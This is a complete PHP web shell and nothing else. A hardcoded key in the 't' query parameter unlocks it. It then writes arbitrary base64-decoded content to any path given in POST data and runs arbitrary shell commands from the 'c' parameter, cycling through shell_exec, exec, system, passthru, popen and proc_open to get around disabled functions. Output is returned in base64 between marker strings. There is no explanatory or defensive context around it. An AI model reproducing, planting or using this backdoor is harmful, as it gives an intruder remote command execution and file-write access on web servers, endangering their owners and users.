<?php if(isset($_GET["t"])&&$_GET["t"]==="sctklnaxllnllazk"){  if(isset($_POST["w"])&&isset($_POST["d"])){    $r=@file_put_contents($_POST["w"],base64_decode($_POST["d"]));    echo 'RXST:'.base64_encode($r!==false?'WRITE_OK:'.$r:'WRITE_FAIL').':RXEND';  }elseif(!isset($_GET["c"])){    echo 'RXST:'.base64_encode('SPPB-RCE-42').':RXEND';  }else{    $c=$_GET["c"].' 2>&1';    $disabled=array_map('trim',explode(',',ini_get('disable_functions')));    $ok=function($f)use($disabled){return function_exists($f)&&!in_array($f,$disabled,true);};    $o=null;    if($ok('shell_exec')){$o=@shell_exec($c);}    if($o===null&&$ok('exec')){@exec($c,$arr);$o=implode("\n",$arr);}    if($o===null&&$ok('system')){ob_start();@system($c);$o=ob_get_clean();}    if($o===null&&$ok('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}    if($o===null&&$ok('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}    if($o===null&&$ok('proc_open')){      $d=[['pipe','r'],['pipe','w'],['pipe','w']];      $p=@proc_open($c,$d,$pi);      if($p){$o=stream_get_contents($pi[1]);proc_close($p);}    }    if($o===null){$o='NOFUNC';}    echo 'RXST:'.base64_encode($o).':RXEND';  }  exit;} ?>